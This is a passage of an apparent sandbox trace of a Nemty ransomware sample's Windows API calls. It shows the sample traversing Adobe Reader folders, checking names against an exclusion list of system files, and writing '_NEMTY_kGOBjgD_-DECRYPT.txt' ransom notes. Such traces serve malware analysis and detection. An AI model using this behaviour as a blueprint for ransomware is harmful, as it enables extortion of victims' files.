lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.263] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae4e8b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ae4e8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae4e8b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.263] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.263] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0173.263] lstrcmpiW (lpString1="SVE", lpString2=".") returned 1 [0173.263] lstrcmpiW (lpString1="SVE", lpString2="..") returned 1 [0173.263] lstrcmpiW (lpString1="SVE", lpString2="...") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="windows") returned -1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="$RECYCLE.BIN") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="rsa") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="NTDETECT.COM") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="ntldr") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="MSDOS.SYS") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="IO.SYS") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="boot.ini") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="boot.ini") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="AUTOEXEC.BAT") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="ntuser.dat") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="desktop.ini") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="CONFIG.SYS") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="RECYCLER") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="BOOTSECT.BAK") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="bootmgr") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="programdata") returned 1 [0173.264] lstrcmpiW (lpString1="SVE", lpString2="appdata") returned 1 [0173.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SVE", lpUsedDefaultChar=0x0) returned 3 [0173.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SVE", lpUsedDefaultChar=0x0) returned 3 [0173.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.265] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.265] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.266] CloseHandle (hObject=0x254) returned 1 [0173.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.267] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.267] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.268] CloseHandle (hObject=0x254) returned 1 [0173.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.268] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ae9ab70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae9ab70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.268] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.268] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ae9ab70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae9ab70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.269] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.269] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.269] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.269] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.270] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.270] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.271] Sleep (dwMilliseconds=0x5) [0173.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: 